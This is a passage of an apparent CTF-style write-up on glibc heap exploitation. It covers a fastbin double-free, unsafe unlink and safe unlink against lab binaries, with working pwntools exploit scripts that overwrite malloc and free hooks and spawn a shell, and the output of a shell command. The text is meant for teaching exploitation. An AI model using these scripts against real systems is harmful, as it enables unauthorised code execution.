[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mone_gadget[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m0xe1fa1[0m[1m[37m[0m
[1m[37m[0m
[33m# 0x80 freelist: NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"B"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> [chunk B] -> [chunk A] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x60[0m[1m[37m))[0m[1m[37m [0m[33m# chunk C[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk B] -> [chunk A] -> 0x60[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"D"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: [chunk A] -> 0x60[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x20[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"E"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x20 freelist: 0x60[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"F"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"G"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m5[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk F] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m6[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk G] -> [chunk F] -> NULL[0m[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m5[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk F] -> [chunk G] -> [chunk F] -> NULL[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mmain_arena[0m[1m[36m+[0m[1m[36m8[0m[1m[37m))[0m[1m[37m [0m[33m# chunk H[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk F] -> [chunk G] -> &main_arena[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"-s[0m[33m\x00[0m[33m"[0m[1m[37m)[0m[1m[37m [0m[33m# chunk I, lives at rsp+0x50 when __malloc_hook is executed[0m[1m[37m[0m
[33m# 0x60 freelist: [chunk G] -> &main_arena[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"J"[0m[1m[37m)[0m[1m[37m[0m
[33m# 0x60 freelist: &main_arena[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x60[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"[0m[33m\x00[0m[33m"[0m[1m[36m*[0m[1m[36m0x48[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__malloc_hook[0m[1m[36m-[0m[1m[36m0x1c[0m[1m[36m-[0m[1m[36m8[0m[1m[37m))[0m[1m[37m[0m
[33m# main_arena.top_chunk = &__malloc_hook-0x10[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x80[0m[1m[36m-[0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m"L"[0m[1m[36m*[0m[1m[36m20[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mone_gadget[0m[1m[37m))[0m[1m[37m [0m[33m# chunk L[0m[1m[37m[0m
[33m# __malloc_hook = &one_gadget[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x2d[0m[1m[37m,[0m[1m[37m [0m[33mb[0m[33m""[0m[1m[37m)[0m[1m[37m [0m[33m# chunk M[0m[1m[37m[0m
[33m# __malloc_hook triggered[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m())[0m[1m[37m[0m
[1m[37mb'uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n'[0m
== [1m[4mUnsafe unlink[22m[24m
When a "normal" chunk is freed, it is added to the unsortedbin
doubly linked list; this behaves very similarly to the fastbins,
except there's now an additional [40m[35m`bk`[39m[49m pointer
stored after the [40m[35m`fd`[39m[49m pointer.
But having a bunch of randomly sized chunks in a freelist is not
really ideal, as we'd like to be able to reclaim these chunks and
use them for even larger allocations.
Enter chunk consolidation—when a chunk is freed, malloc will check
if the chunk's neighboring chunks are also freed, in which case
malloc will backwards and/or forwards consolidate the chunks into a
single larger chunk.
But a freed chunk is still inside the unsortedbin we talked about
earlier, so before this consolidation can occur malloc has to
unlink one or more nodes from the unsortedbin linked list (as the
chunk being freed is merged with one or both of its neighboring
chunks).
In older versions of Glibc this linked list unlinking was not
performed safely, so by corrupting heap chunks one could leverage
this chunk consolidation for a (somewhat constrained) reflected
write.[^fn:2]
=== [1m[4mSolve[22m[24m
In this challenge we can write 8 bytes past the end of our
requested size, which we can use to corrupt the next chunk's size
field [4mand flags[24m.
By clearing chunk B's [40m[35m`prev_inuse`[39m[49m flag, we can
convince malloc that the chunk before chunk B (chunk A) is freed
for the purposes of chunk consolidation when chunk B is freed.
When we free chunk B, malloc will attempt to unlink chunk A from
the unsortedbin freelist by setting [40m`chunk_a.bk->fd =
chunk_a.fd`[49m[24m and [40m`chunk_a.fd->bk =
chunk_a.bk`[49m[24m (using temporary variables where
appropriate):
[33m#define unlink(AV, P, BK, FD) {\[0m
[33m FD = P->fd;\[0m
[33m BK = P->bk;\[0m
[33m FD->bk = BK;\[0m
[33m BK->fd = FD;\[0m
[33m if (!in_smallbin_range (P->size)\[0m
[33m && __builtin_expect (P->fd_nextsize != NULL, 0)) {\[0m
[33m if (FD->fd_nextsize == NULL) {\[0m
[33m if (P->fd_nextsize == P)\[0m
[33m FD->fd_nextsize = FD->bk_nextsize = FD;\[0m
[33m else {\[0m
[33m FD->fd_nextsize = P->fd_nextsize;\[0m
[33m FD->bk_nextsize = P->bk_nextsize;\[0m
[33m P->fd_nextsize->bk_nextsize = FD;\[0m
[33m P->bk_nextsize->fd_nextsize = FD;\[0m
[33m }\[0m
[33m } else {\[0m
[33m P->fd_nextsize->bk_nextsize = P->bk_nextsize;\[0m
[33m P->bk_nextsize->fd_nextsize = P->fd_nextsize;\[0m
[33m }\[0m
[33m }\[0m
[33m}[0m
With that in mind the exploit is pretty straightforward.
Unfortunately I can't use the OG method of writing shellcode on the
heap because in QEMU/Rosetta the heap isn't marked executable (even
though the stack is—weird), and we can't use a one_gadget because
Glibc [40m`.text`[49m isn't writable:
[1m[37m[*] './unsafe_unlink'[0m
[1m[37m Arch: amd64-64-little[0m
[1m[37m RELRO: Full RELRO[0m
[1m[37m Stack: Canary found[0m
[1m[37m NX: NX unknown - GNU_STACK missing[0m
[1m[37m PIE: PIE enabled[0m
[1m[37m Stack: Executable[0m
[1m[37m RWX: Has RWX segments[0m
[1m[37m RUNPATH: b'../.glibc/glibc_2.23_unsafe-unlink'[0m
[1m[37m Stripped: No[0m
[1m[37m Debuginfo: Yes[0m
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37m[0m
[1m[37mcontext[0m[1m[36m.[0m[1m[37mlog_level[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33m'warning'[0m[1m[37m[0m
[1m[37m[0m
[1m[37melf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mcontext[0m[1m[36m.[0m[1m[37mbinary[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"unsafe_unlink"[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[1m[37melf[0m[1m[36m.[0m[1m[37mrunpath[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"/libc.so.6"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mmalloc[0m[1m[37m([0m[1m[37msize[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"1"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"size: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37msize[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37medit[0m[1m[37m([0m[1m[37mindex[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"2"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"data: "[0m[1m[37m,[0m[1m[37m [0m[1m[37mdata[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[33mdef[0m[1m[37m [0m[37mfree[0m[1m[37m([0m[1m[37mindex[0m[1m[37m):[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msend[0m[1m[37m([0m[33mb[0m[33m"3"[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37msendafter[0m[1m[37m([0m[33mb[0m[33m"index: "[0m[1m[37m,[0m[1m[37m [0m[33mf[0m[33m"[0m[33m{[0m[1m[37mindex[0m[33m}[0m[33m"[0m[1m[36m.[0m[1m[37mencode[0m[1m[37m())[0m[1m[37m[0m
[1m[37m [0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mremote[0m[1m[37m([0m[33m"localhost"[0m[1m[37m,[0m[1m[37m [0m[1m[36m1337[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"puts() @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mlibc[0m[1m[36m.[0m[1m[37maddress[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37mputs[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"heap @ "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mheap[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37mint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvline[0m[1m[37m(),[0m[1m[37m [0m[1m[36m16[0m[1m[37m)[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvuntil[0m[1m[37m([0m[33mb[0m[33m"> "[0m[1m[37m)[0m[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37mtimeout[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0.5[0m[1m[37m[0m
[1m[37m[0m
[1m[37mshellcode[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mflat[0m[1m[37m([0m[1m[37m[0m
[1m[37m [0m[1m[37masm[0m[1m[37m([0m[33m"jmp .+18"[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37masm[0m[1m[37m([0m[1m[37mshellcraft[0m[1m[36m.[0m[1m[37mamd64[0m[1m[36m.[0m[1m[37mlinux[0m[1m[36m.[0m[1m[37msh[0m[1m[37m())[0m[1m[37m[0m
[1m[37m)[0m[1m[37m[0m
[33m# start of the heap plus the size, fd, and bk fields of chunk A[0m[1m[37m[0m
[1m[37mshellcode_addr[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mheap[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[36m8[0m[1m[37m[0m
[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x3f0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk A[0m[1m[37m[0m
[1m[37mmalloc[0m[1m[37m([0m[1m[36m0x3f0[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[33m# chunk B[0m[1m[37m[0m
[1m[37medit[0m[1m[37m([0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mlibc[0m[1m[36m.[0m[1m[37msym[0m[1m[36m.[0m[1m[37m__free_hook[0m[1m[36m-[0m[1m[36m0x18[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[37mshellcode_addr[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mshellcode[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[33mb[0m[33m"A"[0m[1m[36m*[0m[1m[37m([0m[1m[36m0x3f0[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[37mlen[0m[1m[37m([0m[1m[37mshellcode[0m[1m[37m)[0m[1m[36m-[0m[1m[36m8[0m[1m[36m-[0m[1m[36m8[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m([0m[1m[36m0x3f0[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[1m[37mp64[0m[1m[37m(([0m[1m[36m0x3f0[0m[1m[37m)[0m[1m[37m [0m[1m[36m&[0m[1m[37m [0m[1m[36m~[0m[1m[36m0b111[0m[1m[0m...
[1m[37mfree[0m[1m[37m([0m[1m[36m1[0m[1m[37m)[0m[1m[37m [0m[33m# trigger unlink of chunk A[0m[1m[37m[0m
[1m[37m[0m
[1m[37mfree[0m[1m[37m([0m[1m[36m0[0m[1m[37m)[0m[1m[37m [0m[33m# trigger __free_hook[0m[1m[37m[0m
[1m[37m[0m
[1m[37mproc[0m[1m[36m.[0m[1m[37msendline[0m[1m[37m([0m[33mb[0m[33m"id"[0m[1m[37m)[0m[1m[37m[0m
[37mprint[0m[1m[37m([0m[1m[37mproc[0m[1m[36m.[0m[1m[37mrecvall[0m[1m[37m())[0m[1m[37m[0m
== [1m[4mSafe unlink[22m[24m
This is effectively the same as unsafe unlink, except now integrity
checks have been introduced to the unlinking process that thwart
our previous approach:
[33m/* Take a chunk off a bin list. */[0m[1m[37m[0m
[33mstatic[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m[0m
[37munlink_chunk[0m[1m[37m [0m[1m[37m([0m[1m[37mmstate[0m[1m[37m [0m[1m[37mav[0m[1m[37m,[0m[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mp[0m[1m[37m)[0m[1m[37m[0m
[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[37mchunksize[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[37m)[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[37mprev_size[0m[1m[37m [0m[1m[37m([0m[37mnext_chunk[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[37m)))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"corrupted size vs. prev_size"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mmchunkptr[0m[1m[37m [0m[1m[37mbk[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mbk[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[37m__builtin_expect[0m[1m[37m [0m[1m[37m([0m[1m[37mfd[0m[1m[36m->[0m[1m[37mbk[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37mp[0m[1m[37m [0m[1m[36m||[0m[1m[37m [0m[1m[37mbk[0m[1m[36m->[0m[1m[37mfd[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37mp[0m[1m[37m,[0m[1m[37m [0m[1m[36m0[0m[1m[37m))[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"corrupted double-linked list"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mfd[0m[1m[36m->[0m[1m[37mbk[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mbk[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mbk[0m[1m[36m->[0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[36m![0m[37min_smallbin_range[0m[1m[37m [0m[1m[37m([0m[37mchunksize_nomask[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[37m))[0m[1m[37m [0m[1m[36m&&[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[37mNULL[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37mp[0m[1m[37m[0m
[1m[37m [0m[1m[36m||[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m!=[0m[1m[37m [0m[1m[37mp[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[37mmalloc_printerr[0m[1m[37m [0m[1m[37m([0m[33m"corrupted double-linked list (not small)"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37mfd[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[37mNULL[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mif[0m[1m[37m [0m[1m[37m([0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m==[0m[1m[37m [0m[1m[37mp[0m[1m[37m)[0m[1m[37m[0m
[1m[37m [0m[1m[37mfd[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33melse[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mfd[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mfd[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m [0m[33melse[0m[1m[37m[0m
[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mbk_nextsize[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mp[0m[1m[36m->[0m[1m[37mfd_nextsize[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
Basically, the addresses we're writing to actually need to point to
our chunk, which severely limits our options.
But as it turns out, [40m[35m`unlink_chunk`[39m[49m can still
be leveraged for an arbitrary write, but in a way that's very
specific to our target binary.
=== [1m[4mSolve[22m[24m
In our binary there exists a global variable
[40m[35m`m_array`[39m[49m that has pointers to the chunks we're
allocating on the heap.
We can craft a fake freed chunk A with [40m[35m`fd`[39m[49m and
[40m[35m`bk`[39m[49m pointers that point to
[40m[35m`m_array[0]`[39m[49m, which in turn points back to
chunk A, thus passing the integrity checks.
As an additional complication we can't free chunk A as-is, but
that's fine—we can create a smaller fake chunk within chunk A and
use that.
This has the effect of clobbering
[40m[35m`m_array[0].user_data`[39m[49m to point to itself; when
we try to [40m[35m`edit`[39m[49m chunk A, we're actually
editing [40m[35m`m_array[0]`[39m[49m.
From there we can overwrite
[40m[35m`m_array[0].user_data`[39m[49m to point to
